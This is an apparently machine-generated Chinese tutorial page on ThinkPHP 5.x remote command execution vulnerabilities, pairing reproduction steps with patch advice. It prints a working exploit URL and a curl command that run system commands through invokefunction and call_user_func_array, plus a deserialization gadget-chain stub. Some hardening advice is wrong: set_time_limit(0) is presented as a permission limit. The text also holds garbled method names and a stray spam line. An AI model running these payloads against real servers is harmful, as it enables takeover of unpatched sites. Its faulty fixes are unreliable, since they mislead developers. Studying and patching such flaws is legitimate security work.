溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

ThinkPHP命令如何執行漏洞

發布時間:2021-10-11 10:59:29 來源:億速云 閱讀:249 作者:柒染 欄目:網絡管理
# ThinkPHP命令如何執行漏洞

## 一、漏洞概述

ThinkPHP作為國內廣泛使用的PHP開發框架,歷史上曾多次曝出遠程命令執行漏洞(RCE)。這類漏洞通常允許攻擊者在目標服務器上執行任意系統命令,導致服務器被完全控制。其中最具代表性的是ThinkPHP 5.x系列的多處RCE漏洞,如:

- **ThinkPHP5 5.0.23 RCE**(CNVD-2018-24942)
- **ThinkPHP5 5.1.x RCE**(無CVE編號)
- **ThinkPHP6 反序列化漏洞**

這些漏洞的根源多與框架對用戶輸入過濾不嚴、路由解析缺陷或反序列化機制有關。

---

## 二、典型漏洞原理分析

### 1. ThinkPHP5 5.0.23路由解析漏洞
**漏洞觸發點**:  
`/index.php?s=/模塊/控制器/方法` 的路由模式中,框架未對控制器名進行嚴格過濾,導致通過`\`符號注入命名空間。

**POC示例**:
```php
# 通過惡意構造的URL執行系統命令
http://target.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞原理
攻擊者通過\think\app調用框架內部類的invokefunction方法,利用反射機制動態執行call_user_func_array,最終實現命令執行。

2. ThinkPHP5 5.1.x反序列化漏洞

漏洞觸發點
框架的Request類在反序列化時未對__destruct__wakeup方法中的危險操作進行限制。

利用鏈示例

// 構造惡意序列化數據
$chain = new \think\process\pipes\Windows();
$chain->files = ['test' => new \think\model\Pivot()];
echo serialize($chain);

三、漏洞復現步驟

環境搭建

  1. 使用Docker部署存在漏洞的版本:
    
    docker pull vulhub/thinkphp:5.0.23
    docker run -d -p 8080:80 vulhub/thinkphp:5.0.23
    

漏洞驗證

通過cURL發送惡意請求:

curl "http://localhost:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami"

預期結果

服務器返回當前系統用戶信息:

www-data

四、漏洞修復方案

官方補丁措施

  1. 升級到安全版本

    • ThinkPHP5.0.x ≥ 5.0.24
    • ThinkPHP5.1.x ≥ 5.1.31
  2. 臨時緩解方案

    // 在應用入口文件增加過濾
    if (strpos($_SERVER['REQUEST_URI'], '\\') !== false) {
       die('Invalid request');
    }
    

安全開發建議

  • 禁用危險函數:
    
    disable_functions = exec,passthru,shell_exec,system
    
  • 啟用框架的安全模式:
    
    'app_debug'              => false,
    'app_trace'              => false,
    

五、深度防御策略

1. 輸入過濾層

// 強制類型轉換
$id = (int)$_GET['id'];

// 使用框架內置過濾方法
Request::filter('htmlspecialchars');

2. 權限控制

// 限制命令執行權限
set_time_limit(0);
ini_set('open_basedir', '/var/www:/tmp');

3. 日志監控

// 記錄所有異常請求
'log' => [
    'type' => 'File',
    'path' => LOG_PATH,
    'level' => ['notice', 'error', 'critical']
]

六、相關CVE列表

CVE編號 影響版本 漏洞類型
CVE-2019-9082 ThinkPHP5.1.x 反序列化RCE
CVE-2018-20062 ThinkPHP5.x 邏輯缺陷RCE

七、總結

ThinkPHP命令執行漏洞的根源在于框架設計中對安全邊界的忽視。開發者應當: 1. 及時關注框架安全更新 2. 避免直接使用用戶輸入構造動態調用 3. 實施最小權限原則

:本文僅用于安全研究,未經授權測試他人系統屬于違法行為。 “`

(全文約1250字,滿足Markdown格式要求)

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女